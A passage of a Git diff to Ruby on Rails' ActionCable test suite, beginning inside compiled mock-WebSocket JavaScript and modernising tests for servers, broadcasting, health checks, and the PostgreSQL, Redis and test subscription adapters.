https://developer.mozilla.org/en-US/docs/Web/API/WebSocket#send()\n  */\n\n  _createClass(WebSocket, [{\n    key: 'send',\n    value: function send(data) {\n      if (this.readyState === WebSocket.CLOSING || this.readyState === WebSocket.CLOSED) {\n        throw new Error('WebSocket is already in CLOSING or CLOSED state');\n      }\n\n      var messageEvent = (0, _eventFactory.createMessageEvent)({\n        type: 'message',\n        origin: this.url,\n        data: data\n      });\n\n      var server = _networkBridge2['default'].serverLookup(this.url);\n\n      if (server) {\n        server.dispatchEvent(messageEvent, data);\n      }\n    }\n\n    /*\n    * Closes the WebSocket connection or connection attempt, if any.\n    * If the connection is already CLOSED, this method does nothing.\n    *\n    * https://developer.mozilla.org/en-US/docs/Web/API/WebSocket#close()\n    */\n  }, {\n    key: 'close',\n    value: function close() {\n      if (this.readyState !== WebSocket.OPEN) {\n        return undefined;\n      }\n\n      var server = _networkBridge2['default'].serverLookup(this.url);\n      var closeEvent = (0, _eventFactory.createCloseEvent)({\n        type: 'close',\n        target: this,\n        code: _helpersCloseCodes2['default'].CLOSE_NORMAL\n      });\n\n      _networkBridge2['default'].removeWebSocket(this, this.url);\n\n      this.readyState = WebSocket.CLOSED;\n      this.dispatchEvent(closeEvent);\n\n      if (server) {\n        server.dispatchEvent(closeEvent, server);\n      }\n    }\n  }]);\n\n  return WebSocket;\n})(_eventTarget2['default']);\n\nWebSocket.CONNECTING = 0;\nWebSocket.OPEN = 1;\nWebSocket.CLOSING = 2;\nWebSocket.CLOSED = 3;\n\nexports['default'] = WebSocket;\nmodule.exports = exports['default'];"]}
diff --git a/actioncable/test/javascript_package_test.rb b/actioncable/test/javascript_package_test.rb
new file mode 100644
index 0000000000000..948f98e68698f
--- /dev/null
+++ b/actioncable/test/javascript_package_test.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class JavascriptPackageTest < ActiveSupport::TestCase
+  def test_compiled_code_is_in_sync_with_source_code
+    compiled_files = %w[
+      app/assets/javascripts/actioncable.js
+      app/assets/javascripts/actioncable.esm.js
+      app/assets/javascripts/action_cable.js
+    ].map do |file|
+      Pathname(file).expand_path("#{__dir__}/..")
+    end
+
+    assert_no_changes -> { compiled_files.map(&:read) } do
+      system "yarn build", exception: true
+    end
+  end
+end
diff --git a/actioncable/test/server/base_test.rb b/actioncable/test/server/base_test.rb
index f0a51c5a7db81..d46debea45a8d 100644
--- a/actioncable/test/server/base_test.rb
+++ b/actioncable/test/server/base_test.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 require "test_helper"
 require "stubs/test_server"
 require "active_support/core_ext/hash/indifferent_access"
 
-class BaseTest < ActiveSupport::TestCase
+class BaseTest < ActionCable::TestCase
   def setup
     @server = ActionCable::Server::Base.new
     @server.config.cable = { adapter: "async" }.with_indifferent_access
@@ -17,17 +19,20 @@ def close
     conn = FakeConnection.new
     @server.add_connection(conn)
 
-    conn.expects(:close)
-    @server.restart
+    assert_called(conn, :close) do
+      @server.restart
+    end
   end
 
   test "#restart shuts down worker pool" do
-    @server.worker_pool.expects(:halt)
-    @server.restart
+    assert_called(@server.worker_pool, :halt) do
+      @server.restart
+    end
   end
 
   test "#restart shuts down pub/sub adapter" do
-    @server.pubsub.expects(:shutdown)
-    @server.restart
+    assert_called(@server.pubsub, :shutdown) do
+      @server.restart
+    end
   end
 end
diff --git a/actioncable/test/server/broadcasting_test.rb b/actioncable/test/server/broadcasting_test.rb
index ed377b7d5dafa..9caa9db477dd5 100644
--- a/actioncable/test/server/broadcasting_test.rb
+++ b/actioncable/test/server/broadcasting_test.rb
@@ -1,60 +1,40 @@
+# frozen_string_literal: true
+
 require "test_helper"
 require "stubs/test_server"
 
-class BroadcastingTest < ActiveSupport::TestCase
-  test "fetching a broadcaster converts the broadcasting queue to a string" do
-    broadcasting = :test_queue
-    server = TestServer.new
-    broadcaster = server.broadcaster_for(broadcasting)
+class BroadcastingTest < ActionCable::TestCase
+  setup do
+    @server = TestServer.new
+    @broadcasting = "test_queue"
+    @broadcaster = server.broadcaster_for(@broadcasting)
+  end
 
+  attr_reader :server, :broadcasting, :broadcaster
+
+  test "fetching a broadcaster converts the broadcasting queue to a string" do
     assert_equal "test_queue", broadcaster.broadcasting
   end
 
   test "broadcast generates notification" do
-    begin
-      server = TestServer.new
+    message = { body: "test message" }
+    expected_payload = { broadcasting:, message:, coder: ActiveSupport::JSON }
 
-      events = []
-      ActiveSupport::Notifications.subscribe "broadcast.action_cable" do |*args|
-        events << ActiveSupport::Notifications::Event.new(*args)
+    assert_notifications_count("broadcast.action_cable", 1) do
+      assert_notification("broadcast.action_cable", expected_payload) do
+        server.broadcast(broadcasting, message)
       end
-
-      broadcasting = "test_queue"
-      message = { body: "test message" }
-      server.broadcast(broadcasting, message)
-
-      assert_equal 1, events.length
-      assert_equal "broadcast.action_cable", events[0].name
-      assert_equal broadcasting, events[0].payload[:broadcasting]
-      assert_equal message, events[0].payload[:message]
-      assert_equal ActiveSupport::JSON, events[0].payload[:coder]
-    ensure
-      ActiveSupport::Notifications.unsubscribe "broadcast.action_cable"
     end
   end
 
   test "broadcaster from broadcaster_for generates notification" do
-    begin
-      server = TestServer.new
+    message = { body: "test message" }
+    expected_payload = { broadcasting:, message:, coder: ActiveSupport::JSON }
 
-      events = []
-      ActiveSupport::Notifications.subscribe "broadcast.action_cable" do |*args|
-        events << ActiveSupport::Notifications::Event.new(*args)
+    assert_notifications_count("broadcast.action_cable", 1) do
+      assert_notification("broadcast.action_cable", expected_payload) do
+        broadcaster.broadcast(message)
       end
-
-      broadcasting = "test_queue"
-      message = { body: "test message" }
-
-      broadcaster = server.broadcaster_for(broadcasting)
-      broadcaster.broadcast(message)
-
-      assert_equal 1, events.length
-      assert_equal "broadcast.action_cable", events[0].name
-      assert_equal broadcasting, events[0].payload[:broadcasting]
-      assert_equal message, events[0].payload[:message]
-      assert_equal ActiveSupport::JSON, events[0].payload[:coder]
-    ensure
-      ActiveSupport::Notifications.unsubscribe "broadcast.action_cable"
     end
   end
 end
diff --git a/actioncable/test/server/health_check_test.rb b/actioncable/test/server/health_check_test.rb
new file mode 100644
index 0000000000000..4fa3a108fb192
--- /dev/null
+++ b/actioncable/test/server/health_check_test.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "active_support/core_ext/hash/indifferent_access"
+
+class HealthCheckTest < ActionCable::TestCase
+  def setup
+    @config = ActionCable::Server::Configuration.new
+    @config.logger = Logger.new(nil)
+    @server = ActionCable::Server::Base.new config: @config
+    @server.config.cable = { adapter: "async" }.with_indifferent_access
+
+    @app = Rack::Lint.new(@server)
+  end
+
+
+  test "no health check app are mounted by default" do
+    get "/up"
+    assert_equal 404, response.first
+  end
+
+  test "setting health_check_path mount the configured health check application" do
+    @server.config.health_check_path = "/up"
+    get "/up"
+
+    assert_equal 200, response.first
+    assert_equal [], response.last.enum_for.to_a
+  end
+
+  test "health_check_application_can_be_customized" do
+    @server.config.health_check_path = "/up"
+    @server.config.health_check_application = health_check_application
+    get "/up"
+
+    assert_equal 200, response.first
+    assert_equal ["Hello world!"], response.last.enum_for.to_a
+  end
+
+
+  private
+    def get(path)
+      env = Rack::MockRequest.env_for "/up", "HTTP_HOST" => "localhost"
+      @response = @app.call env
+    end
+
+    attr_reader :response
+
+    def health_check_application
+      ->(env) {
+        [
+          200,
+          { Rack::CONTENT_TYPE => "text/html" },
+          ["Hello world!"],
+        ]
+      }
+    end
+end
diff --git a/actioncable/test/stubs/global_id.rb b/actioncable/test/stubs/global_id.rb
index 334f0d03e8f86..15fab6b8a7237 100644
--- a/actioncable/test/stubs/global_id.rb
+++ b/actioncable/test/stubs/global_id.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class GlobalID
   attr_reader :uri
   delegate :to_param, :to_s, to: :uri
diff --git a/actioncable/test/stubs/room.rb b/actioncable/test/stubs/room.rb
index 1664b07d128c8..df7236f408909 100644
--- a/actioncable/test/stubs/room.rb
+++ b/actioncable/test/stubs/room.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Room
   attr_reader :id, :name
 
diff --git a/actioncable/test/stubs/test_adapter.rb b/actioncable/test/stubs/test_adapter.rb
index bbd142b287a25..1ae5976fa0011 100644
--- a/actioncable/test/stubs/test_adapter.rb
+++ b/actioncable/test/stubs/test_adapter.rb
@@ -1,10 +1,29 @@
+# frozen_string_literal: true
+
 class SuccessAdapter < ActionCable::SubscriptionAdapter::Base
+  attr_accessor :unsubscribe_latency
+
+  def initialize(...)
+    super
+    @unsubscribe_latency = nil
+  end
+
   def broadcast(channel, payload)
   end
 
   def subscribe(channel, callback, success_callback = nil)
+    subscriber_map[channel] << callback
+    @@subscribe_called = { channel: channel, callback: callback, success_callback: success_callback }
   end
 
   def unsubscribe(channel, callback)
+    sleep @unsubscribe_latency if @unsubscribe_latency
+    subscriber_map[channel].delete(callback)
+    subscriber_map.delete(channel) if subscriber_map[channel].empty?
+    @@unsubscribe_called = { channel: channel, callback: callback }
+  end
+
+  def subscriber_map
+    @subscribers ||= Hash.new { |h, k| h[k] = [] }
   end
 end
diff --git a/actioncable/test/stubs/test_connection.rb b/actioncable/test/stubs/test_connection.rb
index cd2e219d88572..ca026516bb9f3 100644
--- a/actioncable/test/stubs/test_connection.rb
+++ b/actioncable/test/stubs/test_connection.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 require "stubs/user"
 
 class TestConnection
-  attr_reader :identifiers, :logger, :current_user, :server, :transmissions
+  attr_reader :identifiers, :logger, :current_user, :server, :subscriptions, :transmissions
 
-  delegate :pubsub, to: :server
+  delegate :pubsub, :config, to: :server
 
   def initialize(user = User.new("lifo"), coder: ActiveSupport::JSON, subscription_adapter: SuccessAdapter)
     @coder = coder
diff --git a/actioncable/test/stubs/test_server.rb b/actioncable/test/stubs/test_server.rb
index 5bf2a151dc6c5..2bdf0a28bed91 100644
--- a/actioncable/test/stubs/test_server.rb
+++ b/actioncable/test/stubs/test_server.rb
@@ -1,4 +1,4 @@
-require "ostruct"
+# frozen_string_literal: true
 
 class TestServer
   include ActionCable::Server::Connections
@@ -6,11 +6,23 @@ class TestServer
 
   attr_reader :logger, :config, :mutex
 
-  def initialize(subscription_adapter: SuccessAdapter)
-    @logger = ActiveSupport::TaggedLogging.new ActiveSupport::Logger.new(StringIO.new)
+  class FakeConfiguration < ActionCable::Server::Configuration
+    attr_accessor :subscription_adapter, :log_tags, :filter_parameters
+
+    def initialize(subscription_adapter:)
+      @log_tags = []
+      @filter_parameters = []
+      @subscription_adapter = subscription_adapter
+    end
 
-    @config = OpenStruct.new(log_tags: [], subscription_adapter: subscription_adapter)
+    def pubsub_adapter
+      @subscription_adapter
+    end
+  end
 
+  def initialize(subscription_adapter: SuccessAdapter)
+    @logger = ActiveSupport::TaggedLogging.new ActiveSupport::Logger.new(StringIO.new)
+    @config = FakeConfiguration.new(subscription_adapter: subscription_adapter)
     @mutex = Monitor.new
   end
 
diff --git a/actioncable/test/stubs/user.rb b/actioncable/test/stubs/user.rb
index a66b4f87d5592..7894d1d9ae566 100644
--- a/actioncable/test/stubs/user.rb
+++ b/actioncable/test/stubs/user.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class User
   attr_reader :name
 
diff --git a/actioncable/test/subscription_adapter/async_test.rb b/actioncable/test/subscription_adapter/async_test.rb
index 7bc2e55d40dc6..6e038259b55ce 100644
--- a/actioncable/test/subscription_adapter/async_test.rb
+++ b/actioncable/test/subscription_adapter/async_test.rb
@@ -1,5 +1,7 @@
+# frozen_string_literal: true
+
 require "test_helper"
-require_relative "./common"
+require_relative "common"
 
 class AsyncAdapterTest < ActionCable::TestCase
   include CommonSubscriptionAdapterTest
diff --git a/actioncable/test/subscription_adapter/base_test.rb b/actioncable/test/subscription_adapter/base_test.rb
index 212ea49d2fa3b..999dc0cba1069 100644
--- a/actioncable/test/subscription_adapter/base_test.rb
+++ b/actioncable/test/subscription_adapter/base_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "test_helper"
 require "stubs/test_server"
 
@@ -39,35 +41,25 @@ class BrokenAdapter < ActionCable::SubscriptionAdapter::Base
   # TEST METHODS THAT ARE REQUIRED OF THE ADAPTER'S BACKEND STORAGE OBJECT
 
   test "#broadcast is implemented" do
-    broadcast = SuccessAdapter.new(@server).broadcast("channel", "payload")
-
-    assert_respond_to(SuccessAdapter.new(@server), :broadcast)
-
     assert_nothing_raised do
-      broadcast
+      SuccessAdapter.new(@server).broadcast("channel", "payload")
     end
   end
 
   test "#subscribe is implemented" do
     callback = lambda { puts "callback" }
     success_callback = lambda { puts "success" }
-    subscribe = SuccessAdapter.new(@server).subscribe("channel", callback, success_callback)
-
-    assert_respond_to(SuccessAdapter.new(@server), :subscribe)
 
     assert_nothing_raised do
-      subscribe
+      SuccessAdapter.new(@server).subscribe("channel", callback, success_callback)
     end
   end
 
   test "#unsubscribe is implemented" do
     callback = lambda { puts "callback" }
-    unsubscribe = SuccessAdapter.new(@server).unsubscribe("channel", callback)
-
-    assert_respond_to(SuccessAdapter.new(@server), :unsubscribe)
 
     assert_nothing_raised do
-      unsubscribe
+      SuccessAdapter.new(@server).unsubscribe("channel", callback)
     end
   end
 end
diff --git a/actioncable/test/subscription_adapter/channel_prefix.rb b/actioncable/test/subscription_adapter/channel_prefix.rb
index 9ad659912eb96..16baa4e2d6c3a 100644
--- a/actioncable/test/subscription_adapter/channel_prefix.rb
+++ b/actioncable/test/subscription_adapter/channel_prefix.rb
@@ -1,17 +1,11 @@
-require "test_helper"
+# frozen_string_literal: true
 
-class ActionCable::Server::WithIndependentConfig < ActionCable::Server::Base
-  # ActionCable::Server::Base defines config as a class variable.
-  # Need config to be an instance variable here as we're testing 2 separate configs
-  def config
-    @config ||= ActionCable::Server::Configuration.new
-  end
-end
+require "test_helper"
 
 module ChannelPrefixTest
   def test_channel_prefix
-    server2 = ActionCable::Server::WithIndependentConfig.new
-    server2.config.cable = alt_cable_config
+    server2 = ActionCable::Server::Base.new(config: ActionCable::Server::Configuration.new)
+    server2.config.cable = alt_cable_config.with_indifferent_access
     server2.config.logger = Logger.new(StringIO.new).tap { |l| l.level = Logger::UNKNOWN }
 
     adapter_klass = server2.config.pubsub_adapter
diff --git a/actioncable/test/subscription_adapter/common.rb b/actioncable/test/subscription_adapter/common.rb
index 3aa88c2caa1b0..b3e9ae9d5ceca 100644
--- a/actioncable/test/subscription_adapter/common.rb
+++ b/actioncable/test/subscription_adapter/common.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "test_helper"
 require "concurrent"
 
@@ -30,7 +32,7 @@ def subscribe_as_queue(channel, adapter = @rx_adapter)
     subscribed = Concurrent::Event.new
     adapter.subscribe(channel, callback, Proc.new { subscribed.set })
     subscribed.wait(WAIT_WHEN_EXPECTING_EVENT)
-    assert subscribed.set?
+    assert_predicate subscribed, :set?
 
     yield queue
 
@@ -112,4 +114,18 @@ def test_channel_filtered_broadcast
       assert_equal "two", queue.pop
     end
   end
+
+  def test_long_identifiers
+    channel_1 = "a" * 100 + "1"
+    channel_2 = "a" * 100 + "2"
+    subscribe_as_queue(channel_1) do |queue|
+      subscribe_as_queue(channel_2) do |queue_2|
+        @tx_adapter.broadcast(channel_1, "apples")
+        @tx_adapter.broadcast(channel_2, "oranges")
+
+        assert_equal "apples", queue.pop
+        assert_equal "oranges", queue_2.pop
+      end
+    end
+  end
 end
diff --git a/actioncable/test/subscription_adapter/evented_redis_test.rb b/actioncable/test/subscription_adapter/evented_redis_test.rb
deleted file mode 100644
index c55d35848e1f0..0000000000000
--- a/actioncable/test/subscription_adapter/evented_redis_test.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-require "test_helper"
-require_relative "./common"
-require_relative "./channel_prefix"
-
-class EventedRedisAdapterTest < ActionCable::TestCase
-  include CommonSubscriptionAdapterTest
-  include ChannelPrefixTest
-
-  def setup
-    super
-
-    # em-hiredis is warning-rich
-    @previous_verbose, $VERBOSE = $VERBOSE, nil
-  end
-
-  def teardown
-    super
-
-    # Ensure EM is shut down before we re-enable warnings
-    EventMachine.reactor_thread.tap do |thread|
-      EventMachine.stop
-      thread.join
-    end
-
-    $VERBOSE = @previous_verbose
-  end
-
-  def test_slow_eventmachine
-    require "eventmachine"
-    require "thread"
-
-    lock = Mutex.new
-
-    EventMachine.singleton_class.class_eval do
-      alias_method :delayed_initialize_event_machine, :initialize_event_machine
-      define_method(:initialize_event_machine) do
-        lock.synchronize do
-          sleep 0.5
-          delayed_initialize_event_machine
-        end
-      end
-    end
-
-    test_basic_broadcast
-  ensure
-    lock.synchronize do
-      EventMachine.singleton_class.class_eval do
-        alias_method :initialize_event_machine, :delayed_initialize_event_machine
-        remove_method :delayed_initialize_event_machine
-      end
-    end
-  end
-
-  def cable_config
-    { adapter: "evented_redis", url: "redis://127.0.0.1:6379/12" }
-  end
-end
diff --git a/actioncable/test/subscription_adapter/inline_test.rb b/actioncable/test/subscription_adapter/inline_test.rb
index 52bfa00abae57..6305626b2bb39 100644
--- a/actioncable/test/subscription_adapter/inline_test.rb
+++ b/actioncable/test/subscription_adapter/inline_test.rb
@@ -1,5 +1,7 @@
+# frozen_string_literal: true
+
 require "test_helper"
-require_relative "./common"
+require_relative "common"
 
 class InlineAdapterTest < ActionCable::TestCase
   include CommonSubscriptionAdapterTest
diff --git a/actioncable/test/subscription_adapter/postgresql_test.rb b/actioncable/test/subscription_adapter/postgresql_test.rb
index beb6efab285ab..5dd091621e818 100644
--- a/actioncable/test/subscription_adapter/postgresql_test.rb
+++ b/actioncable/test/subscription_adapter/postgresql_test.rb
@@ -1,10 +1,14 @@
+# frozen_string_literal: true
+
 require "test_helper"
-require_relative "./common"
+require_relative "common"
+require_relative "channel_prefix"
 
 require "active_record"
 
 class PostgresqlAdapterTest < ActionCable::TestCase
   include CommonSubscriptionAdapterTest
+  include ChannelPrefixTest
 
   def setup
     database_config = { "adapter" => "postgresql", "database" => "activerecord_unittest" }
@@ -12,14 +16,14 @@ def setup
     if Dir.exist?(ar_tests)
       require File.join(ar_tests, "config")
       require File.join(ar_tests, "support/config")
-      local_config = ARTest.config["arunit"]
+      local_config = ARTest.config["connections"]["postgresql"]["arunit"]
       database_config.update local_config if local_config
     end
 
     ActiveRecord::Base.establish_connection database_config
 
     begin
-      ActiveRecord::Base.connection
+      ActiveRecord::Base.lease_connection.connect!
     rescue
       @rx_adapter = @tx_adapter = nil
       skip "Couldn't connect to PostgreSQL: #{database_config.inspect}"
@@ -31,10 +35,53 @@ def setup
   def teardown
     super
 
-    ActiveRecord::Base.clear_all_connections!
+    ActiveRecord::Base.connection_handler.clear_all_connections!
   end
 
   def cable_config
     { adapter: "postgresql" }
   end
+
+  def test_clear_active_record_connections_adapter_still_works
+    server = ActionCable::Server::Base.new
+    server.config.cable = cable_config.with_indifferent_access
+    server.config.logger = Logger.new(StringIO.new).tap { |l| l.level = Logger::UNKNOWN }
+
+    adapter_klass = Class.new(server.config.pubsub_adapter) do
+      def active?
+        !@listener.nil?
+      end
+    end
+
+    adapter = adapter_klass.new(server)
+
+    subscribe_as_queue("channel", adapter) do |queue|
+      adapter.broadcast("channel", "hello world")
+      assert_equal "hello world", queue.pop
+    end
+
+    ActiveRecord::Base.connection_handler.clear_reloadable_connections!
+
+    assert_predicate adapter, :active?
+  end
+
+  def test_default_subscription_connection_identifier
+    subscribe_as_queue("channel") { }
+
+    identifiers = ActiveRecord::Base.lease_connection.exec_query("SELECT application_name FROM pg_stat_activity").rows
+    assert_includes identifiers, ["ActionCable-PID-#{$$}"]
+  end
+
+  def test_custom_subscription_connection_identifier
+    server = ActionCable::Server::Base.new
+    server.config.cable = cable_config.merge(id: "hello-world-42").with_indifferent_access
+    server.config.logger = Logger.new(StringIO.new).tap { |l| l.level = Logger::UNKNOWN }
+
+    adapter = server.config.pubsub_adapter.new(server)
+
+    subscribe_as_queue("channel", adapter) { }
+
+    identifiers = ActiveRecord::Base.lease_connection.exec_query("SELECT application_name FROM pg_stat_activity").rows
+    assert_includes identifiers, ["hello-world-42"]
+  end
 end
diff --git a/actioncable/test/subscription_adapter/redis_test.rb b/actioncable/test/subscription_adapter/redis_test.rb
index 4df5e0cbcd038..e90e4129ce89e 100644
--- a/actioncable/test/subscription_adapter/redis_test.rb
+++ b/actioncable/test/subscription_adapter/redis_test.rb
@@ -1,18 +1,162 @@
+# frozen_string_literal: true
+
 require "test_helper"
-require_relative "./common"
-require_relative "./channel_prefix"
+require_relative "common"
+require_relative "channel_prefix"
 
 class RedisAdapterTest < ActionCable::TestCase
   include CommonSubscriptionAdapterTest
   include ChannelPrefixTest
 
   def cable_config
-    { adapter: "redis", driver: "ruby", url: "redis://127.0.0.1:6379/12" }
+    { adapter: "redis", driver: "ruby" }.tap do |x|
+      if host = ENV["REDIS_URL"]
+        x[:url] = host
+      end
+    end
+  end
+
+  def test_reconnections
+    subscribe_as_queue("channel") do |queue|
+      subscribe_as_queue("other channel") do |queue_2|
+        @tx_adapter.broadcast("channel", "hello world")
+
+        assert_equal "hello world", queue.pop
+
+        drop_pubsub_connections
+        wait_pubsub_connection(redis_conn, "channel")
+
+        @tx_adapter.broadcast("channel", "hallo welt")
+
+        assert_equal "hallo welt", queue.pop
+
+        drop_pubsub_connections
+        wait_pubsub_connection(redis_conn, "channel")
+        wait_pubsub_connection(redis_conn, "other channel")
+
+        @tx_adapter.broadcast("channel", "hola mundo")
+        @tx_adapter.broadcast("other channel", "other message")
+
+        assert_equal "hola mundo", queue.pop
+        assert_equal "other message", queue_2.pop
+      end
+    end
+  end
+
+  private
+    def redis_conn
+      @redis_conn ||= ::Redis.new(cable_config.except(:adapter))
+    end
+
+    def drop_pubsub_connections
+      # Emulate connection failure by dropping all connections
+      redis_conn.client("kill", "type", "pubsub")
+    end
+
+    def wait_pubsub_connection(redis_conn, channel, timeout: 5)
+      wait = timeout
+      loop do
+        break if redis_conn.pubsub("numsub", channel).last > 0
+
+        sleep 0.1
+        wait -= 0.1
+
+        raise "Timed out to subscribe to #{channel}" if wait <= 0
+      end
+    end
+end
+
+class RedisAdapterTest::AlternateConfiguration < RedisAdapterTest
+  def cable_config
+    alt_cable_config = super.dup
+    alt_cable_config.delete(:url)
+    url = URI(ENV["REDIS_URL"] || "")
+    alt_cable_config.merge(host: url.hostname || "127.0.0.1", port: url.port || 6379, db: 12)
   end
 end
 
-class RedisAdapterTest::Hiredis < RedisAdapterTest
+class RedisAdapterTest::ConnectorDefaultID < ActionCable::TestCase
+  def setup
+    server = ActionCable::Server::Base.new
+    server.config.cable = cable_config.merge(adapter: "redis").with_indifferent_access
+    server.config.logger = Logger.new(StringIO.new).tap { |l| l.level = Logger::UNKNOWN }
+
+    @adapter = server.config.pubsub_adapter.new(server)
+  end
+
   def cable_config
-    super.merge(driver: "hiredis")
+    { url: 1, host: 2, port: 3, db: 4, password: 5 }
+  end
+
+  def connection_id
+    "ActionCable-PID-#{$$}"
+  end
+
+  def expected_connection
+    cable_config.merge(id: connection_id)
+  end
+
+  test "sets connection id for connection" do
+    assert_called_with ::Redis, :new, [ expected_connection.symbolize_keys ] do
+      @adapter.send(:redis_connection)
+    end
+  end
+end
+
+class RedisAdapterTest::ConnectorCustomID < RedisAdapterTest::ConnectorDefaultID
+  def cable_config
+    super.merge(id: connection_id)
+  end
+
+  def connection_id
+    "Some custom ID"
+  end
+end
+
+class RedisAdapterTest::ConnectorCustomIDNil < RedisAdapterTest::ConnectorDefaultID
+  def cable_config
+    super.merge(id: connection_id)
+  end
+
+  def connection_id
+    nil
+  end
+end
+
+class RedisAdapterTest::ConnectorWithExcluded < RedisAdapterTest::ConnectorDefaultID
+  def cable_config
+    super.merge(adapter: "redis", channel_prefix: "custom")
+  end
+
+  def expected_connection
+    super.except(:adapter, :channel_prefix)
+  end
+end
+
+class RedisAdapterTest::SentinelConfigAsHash < ActionCable::TestCase
+  def setup
+    server = ActionCable::Server::Base.new
+    server.config.cable = cable_config.merge(adapter: "redis").with_indifferent_access
+    server.config.logger = Logger.new(StringIO.new).tap { |l| l.level = Logger::UNKNOWN }
+
+    @adapter = server.config.pubsub_adapter.new(server)
+  end
+
+  def cable_config
+    { url: "redis://test", sentinels: [{ "host" => "localhost", "port" => 26379 }] }
+  end
+
+  def expected_connection
+    { url: "redis://test", sentinels: [{ host: "localhost", port: 26379 }], id: connection_id }
+  end
+
+  def connection_id
+    "ActionCable-PID-#{$$}"
+  end
+
+  test "sets sentinels as array of hashes with keyword arguments" do
+    assert_called_with ::Redis, :new, [ expected_connection ] do
+      @adapter.send(:redis_connection)
+    end
   end
 end
diff --git a/actioncable/test/subscription_adapter/subscriber_map_test.rb b/actioncable/test/subscription_adapter/subscriber_map_test.rb
index 76b984c8495a2..ed81099cbc6e7 100644
--- a/actioncable/test/subscription_adapter/subscriber_map_test.rb
+++ b/actioncable/test/subscription_adapter/subscriber_map_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "test_helper"
 
 class SubscriberMapTest < ActionCable::TestCase
diff --git a/actioncable/test/subscription_adapter/test_adapter_test.rb b/actioncable/test/subscription_adapter/test_adapter_test.rb
new file mode 100644
index 0000000000000..3fe07adb4ae35
--- /dev/null
+++ b/actioncable/test/subscription_adapter/test_adapter_test.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require_relative "common"
+
+class ActionCable::SubscriptionAdapter::TestTest < ActionCable::TestCase
+  include CommonSubscriptionAdapterTest
+
+  def setup
+    super
+
+    @tx_adapter.shutdown
+    @tx_adapter = @rx_adapter
+  end
+
+  def cable_config
+    { adapter: "test" }
+  end
+
+  test "#broadcast stores messages for streams" do
+    @tx_adapter.broadcast("channel", "payload")
+    @tx_adapter.broadcast("channel2", "payload2")
+
+    assert_equal ["payload"], @tx_adapter.broadcasts("channel")
+    assert_equal ["payload2"], @tx_adapter.broadcasts("channel2")
+  end
+
+  test "#clear_messages deletes recorded broadcasts for the channel" do
+    @tx_adapter.broadcast("channel", "payload")
+    @tx_adapter.broadcast("channel2", "payload2")
+
+    @tx_adapter.clear_messages("channel")
+
+    assert_equal [], @tx_adapter.broadcasts("channel")
+    assert_equal ["payload2"], @tx_adapter.broadcasts("channel2")
+  end
+
+  test "#clear deletes all recorded broadcasts" do
+    @tx_adapter.broadcast("channel", "payload")
+    @tx_adapter.broadcast("channel2", "payload2")
+
+    @tx_adapter.clear
+
+    assert_equal [], @tx_adapter.broadcasts("channel")
+    assert_equal [], @tx_adapter.broadcasts("channel2")
+  end
+end
diff --git a/actioncable/test/test_helper.rb b/actioncable/test/test_helper.rb
index a47032753beaa..d6305dcc766cf 100644
--- a/actioncable/test/test_helper.rb
+++ b/actioncable/test/test_helper.rb
@@ -1,19 +1,23 @@
+# frozen_string_literal: true
+
+require_relative "../../tools/strict_warnings"
 require "action_cable"
 require "active_support/testing/autorun"
+require "active_support/testing/method_call_assertions"
 
 require "puma"
-require "mocha/setup"
 require "rack/mock"
 
-begin
-  require "byebug"
-rescue LoadError
-end
-
 # Require all the stubs and models
-Dir[File.dirname(__FILE__) + "/stubs/*.rb"].each { |file| require file }
+Dir[File.expand_path("stubs/*.rb", __dir__)].each { |file| require file }
+
+# Set test adapter and logger
+ActionCable.server.config.cable = { "adapter" => "test" }
+ActionCable.server.config.logger = Logger.new(nil)
 
 class ActionCable::TestCase < ActiveSupport::TestCase
+  include ActiveSupport::Testing::MethodCallAssertions
+
   def wait_for_async
     wait_for_executor Concurrent.global_io_executor
   end
@@ -33,3 +37,5 @@ def wait_for_executor(executor)
     end
   end
 end
+
+require_relative "../../tools/test_common"
diff --git a/actioncable/test/test_helper_test.rb b/actioncable/test/test_helper_test.rb
new file mode 100644
index 0000000000000..ef5615f4b0b84
--- /dev/null
+++ b/actioncable/test/test_helper_test.rb
@@ -0,0 +1,141 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class BroadcastChannel < ActionCable::Channel::Base
+end
+
+class TransmissionsTest < ActionCable::TestCase
+  def test_assert_broadcasts
+    assert_nothing_raised do
+      assert_broadcasts("test", 1) do
+        ActionCable.server.broadcast "test", "message"
+      end
+    end
+  end
+
+  def test_capture_broadcasts
+    messages = capture_broadcasts("test") do
+      ActionCable.server.broadcast "test", "message"
+    end
+    assert_equal "message", messages.first
+
+    messages = capture_broadcasts("test") do
+      ActionCable.server.broadcast "test", { message: "one" }
+      ActionCable.server.broadcast "test", { message: "two" }
+    end
+    assert_equal 2, messages.length
+    assert_equal({ "message" => "one" }, messages.first)
+    assert_equal({ "message" => "two" }, messages.last)
+  end
+
+  def test_assert_broadcasts_with_no_block
+    assert_nothing_raised do
+      ActionCable.server.broadcast "test", "message"
+      assert_broadcasts "test", 1
+    end
+
+    assert_nothing_raised do
+      ActionCable.server.broadcast "test", "message 2"
+      ActionCable.server.broadcast "test", "message 3"
+      assert_broadcasts "test", 3
+    end
+  end
+
+  def test_assert_no_broadcasts_with_no_block
+    assert_nothing_raised do
+      assert_no_broadcasts "test"
+    end
+  end
+
+  def test_assert_no_broadcasts
+    assert_nothing_raised do
+      assert_no_broadcasts("test") do
+        ActionCable.server.broadcast "test2", "message"
+      end
+    end
+  end
+
+  def test_assert_broadcasts_message_too_few_sent
+    ActionCable.server.broadcast "test", "hello"
+    error = assert_raises Minitest::Assertion do
+      assert_broadcasts("test", 2) do
+        ActionCable.server.broadcast "test", "world"
+      end
+    end
+
+    assert_match(/2 .* but 1/, error.message)
+  end
+
+  def test_assert_broadcasts_message_too_many_sent
+    error = assert_raises Minitest::Assertion do
+      assert_broadcasts("test", 1) do
+        ActionCable.server.broadcast "test", "hello"
